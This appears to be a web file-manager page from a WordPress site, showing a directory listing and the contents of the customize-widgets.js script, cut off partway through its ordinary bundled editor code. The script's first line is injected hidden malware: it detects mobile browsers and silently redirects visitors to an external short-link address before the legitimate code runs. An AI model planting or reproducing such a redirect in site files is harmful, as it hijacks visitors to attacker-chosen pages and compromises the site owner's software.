run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄customize-widgets.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).customizeWidgets = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/element
36 var require_element = __commonJS({
37 "package-external:@wordpress/element"(exports, module) {
38 module.exports = window.wp.element;
39 }
40 });
41
42 // package-external:@wordpress/block-library
43 var require_block_library = __commonJS({
44 "package-external:@wordpress/block-library"(exports, module) {
45 module.exports = window.wp.blockLibrary;
46 }
47 });
48
49 // package-external:@wordpress/widgets
50 var require_widgets = __commonJS({
51 "package-external:@wordpress/widgets"(exports, module) {
52 module.exports = window.wp.widgets;
53 }
54 });
55
56 // package-external:@wordpress/blocks
57 var require_blocks = __commonJS({
58 "package-external:@wordpress/blocks"(exports, module) {
59 module.exports = window.wp.blocks;
60 }
61 });
62
63 // package-external:@wordpress/data
64 var require_data = __commonJS({
65 "package-external:@wordpress/data"(exports, module) {
66 module.exports = window.wp.data;
67 }
68 });
69
70 // package-external:@wordpress/preferences
71 var require_preferences = __commonJS({
72 "package-external:@wordpress/preferences"(exports, module) {
73 module.exports = window.wp.preferences;
74 }
75 });
76
77 // package-external:@wordpress/components
78 var require_components = __commonJS({
79 "package-external:@wordpress/components"(exports, module) {
80 module.exports = window.wp.components;
81 }
82 });
83
84 // package-external:@wordpress/i18n
85 var require_i18n = __commonJS({
86 "package-external:@wordpress/i18n"(exports, module) {
87 module.exports = window.wp.i18n;
88 }
89 });
90
91 // package-external:@wordpress/block-editor
92 var require_block_editor = __commonJS({
93 "package-external:@wordpress/block-editor"(exports, module) {
94 module.exports = window.wp.blockEditor;
95 }
96 });
97
98 // package-external:@wordpress/compose
99 var require_compose = __commonJS({
100 "package-external:@wordpress/compose"(exports, module) {
101 module.exports = window.wp.compose;
102 }
103 });
104
105 // package-external:@wordpress/hooks
106 var require_hooks = __commonJS({
107 "package-external:@wordpress/hooks"(exports, module) {
108 module.exports = window.wp.hooks;
109 }
110 });
111
112 // vendor-external:react/jsx-runtime
113 var require_jsx_runtime = __commonJS({
114 "vendor-external:react/jsx-runtime"(exports, module) {
115 module.exports = window.ReactJSXRuntime;
116 }
117 });
118
119 // package-external:@wordpress/core-data
120 var require_core_data = __commonJS({
121 "package-external:@wordpress/core-data"(exports, module) {
122 module.exports = window.wp.coreData;
123 }
124 });
125
126 // package-external:@wordpress/media-utils
127 var require_media_utils = __commonJS({
128 "package-external:@wordpress/media-utils"(exports, module) {
129 module.exports = window.wp.mediaUtils;
130 }
131 });
132
133 // package-external:@wordpress/keycodes
134 var require_keycodes = __commonJS({
135 "package-external:@wordpress/keycodes"(exports, module) {
136 module.exports = window.wp.keycodes;
137 }
138 });
139
140 // package-external:@wordpress/primitives
141 var require_primitives = __commonJS({
142 "package-external:@wordpress/primitives"(exports, module) {
143 module.exports = window.wp.primitives;
144 }
145 });
146
147 // package-external:@wordpress/keyboard-shortcuts
148 var require_keyboard_shortcuts = __commonJS({
149 "package-external:@wordpress/keyboard-shortcuts"(exports, module) {
150 module.exports = window.wp.keyboardShortcuts;
151 }
152 });
153
154 // node_modules/fast-deep-equal/es6/index.js
155 var require_es6 = __commonJS({
156 "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
157 "use strict";
158 module.exports = function equal(a, b) {
159 if (a === b) return true;
160 if (a && b && typeof a == "object" && typeof b == "object") {
161 if (a.constructor !== b.constructor) return false;
162 var length, i, keys;
163 if (Array.isArray(a)) {
164 length = a.length;
165 if (length != b.length) return false;
166 for (i = length; i-- !== 0; )
167 if (!equal(a[i], b[i])) return false;
168 return true;
169 }
170 if (a instanceof Map && b instanceof Map) {
171 if (a.size !== b.size) return false;
172 for (i of a.entries())
173 if (!b.has(i[0])) return false;
174 for (i of a.entries())
175 if (!equal(i[1], b.get(i[0]))) return false;
176 return true;
177 }
178 if (a instanceof Set && b instanceof Set) {
179 if (a.size !== b.size) return false;
180 for (i of a.entries())
181 if (!b.has(i[0])) return false;
182 return true;
183 }
184 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
185 length = a.length;
186 if (length != b.length) return false;
187 for (i = length; i-- !== 0; )
188 if (a[i] !== b[i]) return false;
189 return true;
190 }
191 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
192 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
193 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
194 keys = Object.keys(a);
195 length = keys.length;
196 if (length !== Object.keys(b).length) return false;
197 for (i = length; i-- !== 0; )
198 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
199 for (i = length; i-- !== 0; ) {
200 var key = keys[i];
201 if (!equal(a[key], b[key])) return false;
202 }
203 return true;
204 }
205 return a !== a && b !== b;
206 };
207 }
208 });
209
210 // package-external:@wordpress/is-shallow-equal
211 var require_is_shallow_equal = __commonJS({
212 "package-external:@wordpress/is-shallow-equal"(exports, module) {
213 module.exports = window.wp.isShallowEqual;
214 }
215 });
216
217 // package-external:@wordpress/private-apis
218 var require_private_apis = __commonJS({
219 "package-external:@wordpress/private-apis"(exports, module) {
220 module.exports = window.wp.privateApis;
221 }
222 });
223
224 // package-external:@wordpress/dom
225 var require_dom = __commonJS({
226 "package-external:@wordpress/dom"(exports, module) {
227 module.exports = window.wp.dom;
228 }
229 });
230
231 // packages/customize-widgets/build-module/index.mjs
232 var index_exports = {};
233 __export(index_exports, {
234 initialize: () => initialize,
235 store: () => store
236 });
237 var import_element17 = __toESM(require_element(), 1);
238 var import_block_library2 = __toESM(require_block_library(), 1);
239 var import_widgets5 = __toESM(require_widgets(), 1);
240 var import_blocks2 = __toESM(require_blocks(), 1);
241 var import_data17 = __toESM(require_data(), 1);
242 var import_preferences4 = __toESM(require_preferences(), 1);
243
244 // packages/customize-widgets/build-module/components/customize-widgets/index.mjs
245 var import_element16 = __toESM(require_element(), 1);
246 var import_components8 = __toESM(require_components(), 1);
247
248 // packages/customize-widgets/build-module/components/error-boundary/index.mjs
249 var import_element = __toESM(require_element(), 1);
250 var import_i18n = __toESM(require_i18n(), 1);
251 var import_components = __toESM(require_components(), 1);
252 var import_block_editor = __toESM(require_block_editor(), 1);
253 var import_compose = __toESM(require_compose(), 1);
254 var import_hooks = __toESM(require_hooks(), 1);
255 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
256 function CopyButton({ text, children }) {
257 const ref = (0, import_compose.useCopyToClipboard)(text);
258 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Button, { size: "compact", variant: "secondary", ref, children });
259 }
260 var ErrorBoundary = class extends import_element.Component {
261 constructor() {
262 super(...arguments);
263 this.state = {
264 error: null
265 };
266 }
267 componentDidCatch(error) {
268 this.setState({ error });
269 (0, import_hooks.doAction)("editor.ErrorBoundary.errorLogged", error);
270 }
271 render() {
272 const { error } = this.state;
273 if (!error) {
274 return this.props.children;
275 }
276 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
277 import_block_editor.Warning,
278 {
279 className: "customize-widgets-error-boundary",
280 actions: [
281 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(CopyButton, { text: error.stack, children: (0, import_i18n.__)("Copy Error") }, "copy-error")
282 ],
283 children: (0, import_i18n.__)("The editor has encountered an unexpected error.")
284 }
285 );
286 }
287 };
288
289 // packages/customize-widgets/build-module/components/sidebar-block-editor/index.mjs
290 var import_compose3 = __toESM(require_compose(), 1);
291 var import_core_data = __toESM(require_core_data(), 1);
292 var import_data12 = __toESM(require_data(), 1);
293 var import_element13 = __toESM(require_element(), 1);
294 var import_block_editor8 = __toESM(require_block_editor(), 1);
295 var import_media_utils = __toESM(require_media_utils(), 1);
296 var import_preferences3 = __toESM(require_preferences(), 1);
297 var import_block_library = __toESM(require_block_library(), 1);
298
299 // packages/customize-widgets/build-module/components/block-inspector-button/index.mjs
300 var import_element2 = __toESM(require_element(), 1);
301 var import_i18n2 = __toESM(require_i18n(), 1);
302 var import_components2 = __toESM(require_components(), 1);
303 var import_data = __toESM(require_data(), 1);
304 var import_block_editor2 = __toESM(require_block_editor(), 1);
305 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
306 function BlockInspectorButton({ inspector, closeMenu, ...props }) {
307 const selectedBlockClientId = (0, import_data.useSelect)(
308 (select) => select(import_block_editor2.store).getSelectedBlockClientId(),
309 []
310 );
311 const selectedBlock = (0, import_element2.useMemo)(
312 () => document.getElementById(`block-${selectedBlockClientId}`),
313 [selectedBlockClientId]
314 );
315 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
316 import_components2.MenuItem,
317 {
318 onClick: () => {
319 inspector.open({
320 returnFocusWhenClose: selectedBlock
321 });
322 closeMenu();
323 },
324 ...props,
325 children: (0, import_i18n2.__)("Show more settings")
326 }
327 );
328 }
329 var block_inspector_button_default = BlockInspectorButton;
330
331 // node_modules/clsx/dist/clsx.mjs
332 function r(e) {
333 var t, f, n = "";
334 if ("string" == typeof e || "number" == typeof e) n += e;
335 else if ("object" == typeof e) if (Array.isArray(e)) {
336 var o = e.length;
337 for (t = 0; t < o; t++) e[t] && (f = r(e[t])) && (n && (n += " "), n += f);
338 } else for (f in e) e[f] && (n && (n += " "), n += f);
339 return n;
340 }
341 function clsx() {
342 for (var e, t, f = 0, n = "", o = arguments.length; f < o; f++) (e = arguments[f]) && (t = r(e)) && (n && (n += " "), n += t);
343 return n;
344 }
345 var clsx_default = clsx;
346
347 // packages/customize-widgets/build-module/components/header/index.mjs
348 var import_components6 = __toESM(require_components(), 1);
349 var import_block_editor4 = __toESM(require_block_editor(), 1);
350 var import_element6 = __toESM(require_element(), 1);
351 var import_keycodes3 = __toESM(require_keycodes(), 1);
352 var import_i18n7 = __toESM(require_i18n(), 1);
353
354 // packages/icons/build-module/library/close-small.mjs
355 var import_primitives = __toESM(require_primitives(), 1);
356 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
357 var close_small_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
358
359 // packages/icons/build-module/library/external.mjs
360 var import_primitives2 = __toESM(require_primitives(), 1);
361 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
362 var external_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives2.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });
363
364 // packages/icons/build-module/library/more-vertical.mjs
365 var import_primitives3 = __toESM(require_primitives(), 1);
366 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
367 var more_vertical_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives3.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
368
369 // packages/icons/build-module/library/plus.mjs
370 var import_primitives4 = __toESM(require_primitives(), 1);
371 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
372 var plus_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives4.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
373
374 // packages/icons/build-module/library/redo.mjs
375 var import_primitives5 = __toESM(require_primitives(), 1);
376 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
377 var redo_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives5.Path, { d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z" }) });
378
379 // packages/icons/build-module/library/undo.mjs
380 var import_primitives6 = __toESM(require_primitives(), 1);
381 var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
382 var undo_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives6.Path, { d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z" }) });
383
384 // packages/customize-widgets/build-module/components/inserter/index.mjs
385 var import_i18n3 = __toESM(require_i18n(), 1);
386 var import_block_editor3 = __toESM(require_block_editor(), 1);
387 var import_components3 = __toESM(require_components(), 1);
388 var import_compose2 = __toESM(require_compose(), 1);
389 var import_data4 = __toESM(require_data(), 1);
390
391 // packages/customize-widgets/build-module/store/index.mjs
392 var import_data3 = __toESM(require_data(), 1);
393
394 // packages/customize-widgets/build-module/store/reducer.mjs
395 var import_data2 = __toESM(require_data(), 1);
396 function blockInserterPanel(state = false, action) {
397 switch (action.type) {
398 case "SET_IS_INSERTER_OPENED":
399 return action.value;
400 }
401 return state;
402 }
403 var reducer_default = (0, import_data2.combineReducers)({
404 blockInserterPanel
405 });
406
407 // packages/customize-widgets/build-module/store/selectors.mjs
408 var selectors_exports = {};
409 __export(selectors_exports, {
410 __experimentalGetInsertionPoint: () => __experimentalGetInsertionPoint,
411 isInserterOpened: () => isInserterOpened
412 });
413 var EMPTY_INSERTION_POINT = {
414 rootClientId: void 0,
415 insertionIndex: void 0
416 };
417 function isInserterOpened(state) {
418 return !!state.blockInserterPanel;
419 }
420 function __experimentalGetInsertionPoint(state) {
421 if (typeof state.blockInserterPanel === "boolean") {
422 return EMPTY_INSERTION_POINT;
423 }
424 return state.blockInserterPanel;
425 }
426
427 // packages/customize-widgets/build-module/store/actions.mjs
428 var actions_exports = {};
429 __export(actions_exports, {
430 setIsInserterOpened: () => setIsInserterOpened
431 });
432 function setIsInserterOpened(value) {
433 return {
434 type: "SET_IS_INSERTER_OPENED",
435 value
436 };
437 }
438
439 // packages/customize-widgets/build-module/store/constants.mjs
440 var STORE_NAME = "core/customize-widgets";
441
442 // packages/customize-widgets/build-module/store/index.mjs
443 var storeConfig = {
444 reducer: reducer_default,
445 selectors: selectors_exports,
446 actions: actions_exports
447 };
448 var store = (0, import_data3.createReduxStore)(STORE_NAME, storeConfig);
449 (0, import_data3.register)(store);
450
451 // packages/customize-widgets/build-module/components/inserter/index.mjs
452 var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
453 function Inserter({ setIsOpened }) {
454 const inserterTitleId = (0, import_compose2.useInstanceId)(
455 Inserter,
456 "customize-widget-layout__inserter-panel-title"
457 );
458 const insertionPoint = (0, import_data4.useSelect)(
459 (select) => select(store).__experimentalGetInsertionPoint(),
460 []
461 );
462 return /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(
463 "div",
464 {
465 className: "customize-widgets-layout__inserter-panel",
466 "aria-labelledby": inserterTitleId,
467 children: [
468 /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)("div", { className: "customize-widgets-layout__inserter-panel-header", children: [
469 /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
470 "h2",
471 {
472 id: inserterTitleId,
473 className: "customize-widgets-layout__inserter-panel-header-title",
474 children: (0, import_i18n3.__)("Add a block")
475 }
476 ),
477 /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
478 import_components3.Button,
479 {
480 size: "small",
481 icon: close_small_default,
482 onClick: () => setIsOpened(false),
483 "aria-label": (0, import_i18n3.__)("Close inserter")
484 }
485 )
486 ] }),
487 /* @__PURE__ */ (0, import_jsx_runtime9.jsx)("div", { className: "customize-widgets-layout__inserter-panel-content", children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
488 import_block_editor3.__experimentalLibrary,
489 {
490 rootClientId: insertionPoint.rootClientId,
491 __experimentalInsertionIndex: insertionPoint.insertionIndex,
492 showInserterHelpPanel: true,
493 onSelect: () => setIsOpened(false)
494 }
495 ) })
496 ]
497 }
498 );
499 }
500 var inserter_default = Inserter;
501
502 // packages/customize-widgets/build-module/components/more-menu/index.mjs
503 var import_components5 = __toESM(require_components(), 1);
504 var import_element5 = __toESM(require_element(), 1);
505 var import_i18n6 = __toESM(require_i18n(), 1);
506 var import_keycodes2 = __toESM(require_keycodes(), 1);
507 var import_keyboard_shortcuts3 = __toESM(require_keyboard_shortcuts(), 1);
508 var import_preferences = __toESM(require_preferences(), 1);
509
510 // packages/customize-widgets/build-module/components/keyboard-shortcut-help-modal/index.mjs
511 var import_components4 = __toESM(require_components(), 1);
512 var import_i18n5 = __toESM(require_i18n(), 1);
513 var import_keyboard_shortcuts2 = __toESM(require_keyboard_shortcuts(), 1);
514 var import_data6 = __toESM(require_data(), 1);
515 var import_element4 = __toESM(require_element(), 1);
516
517 // packages/customize-widgets/build-module/components/keyboard-shortcut-help-modal/config.mjs
518 var import_i18n4 = __toESM(require_i18n(), 1);
519 var textFormattingShortcuts = [
520 {
521 keyCombination: { modifier: "primary", character: "b" },
522 description: (0, import_i18n4.__)("Make the selected text bold.")
523 },
524 {
525 keyCombination: { modifier: "primary", character: "i" },
526 description: (0, import_i18n4.__)("Make the selected text italic.")
527 },
528 {
529 keyCombination: { modifier: "primary", character: "k" },
530 description: (0, import_i18n4.__)("Convert the selected text into a link.")
531 },
532 {
533 keyCombination: { modifier: "primaryShift", character: "k" },
534 description: (0, import_i18n4.__)("Remove a link.")
535 },
536 {
537 keyCombination: { character: "[[" },
538 description: (0, import_i18n4.__)("Insert a link to a post or page.")
539 },
540 {
541 keyCombination: { modifier: "primary", character: "u" },
542 description: (0, import_i18n4.__)("Underline the selected text.")
543 },
544 {
545 keyCombination: { modifier: "access", character: "d" },
546 description: (0, import_i18n4.__)("Strikethrough the selected text.")
547 },
548 {
549 keyCombination: { modifier: "access", character: "x" },
550 description: (0, import_i18n4.__)("Make the selected text inline code.")
551 },
552 {
553 keyCombination: {
554 modifier: "access",
555 character: "0"
556 },
557 aliases: [
558 {
559 modifier: "access",
560 character: "7"
561 }
562 ],
563 description: (0, import_i18n4.__)("Convert the current heading to a paragraph.")
564 },
565 {
566 keyCombination: { modifier: "access", character: "1-6" },
567 description: (0, import_i18n4.__)(
568 "Convert the current paragraph or heading to a heading of level 1 to 6."
569 )
570 },
571 {
572 keyCombination: { modifier: "primaryShift", character: "SPACE" },
573 description: (0, import_i18n4.__)("Add non breaking space.")
574 }
575 ];
576
577 // packages/customize-widgets/build-module/components/keyboard-shortcut-help-modal/shortcut.mjs
578 var import_element3 = __toESM(require_element(), 1);
579 var import_keycodes = __toESM(require_keycodes(), 1);
580 var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
581 function KeyCombination({ keyCombination, forceAriaLabel }) {
582 const shortcut = keyCombination.modifier ? import_keycodes.displayShortcutList[keyCombination.modifier](
583 keyCombination.character
584 ) : keyCombination.character;
585 const ariaLabel = keyCombination.modifier ? import_keycodes.shortcutAriaLabel[keyCombination.modifier](
586 keyCombination.character
587 ) : keyCombination.character;
588 return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
589 "kbd",
590 {
591 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination",
592 "aria-label": forceAriaLabel || ariaLabel,
593 children: (Array.isArray(shortcut) ? shortcut : [shortcut]).map(
594 (character, index) => {
595 if (character === "+") {
596 return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_element3.Fragment, { children: character }, index);
597 }
598 return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
599 "kbd",
600 {
601 className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-key",
602 children: character
603 },
604 index
605 );
606 }
607 )
608 }
609 );
610 }
611 function Shortcut({ description, keyCombination, aliases = [], ariaLabel }) {
612 return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_jsx_runtime10.Fragment, { children: [
613 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)("div", { className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-description", children: description }),
614 /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)("div", { className: "customize-widgets-keyboard-shortcut-help-modal__shortcut-term", children: [
615 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
616 KeyCombination,
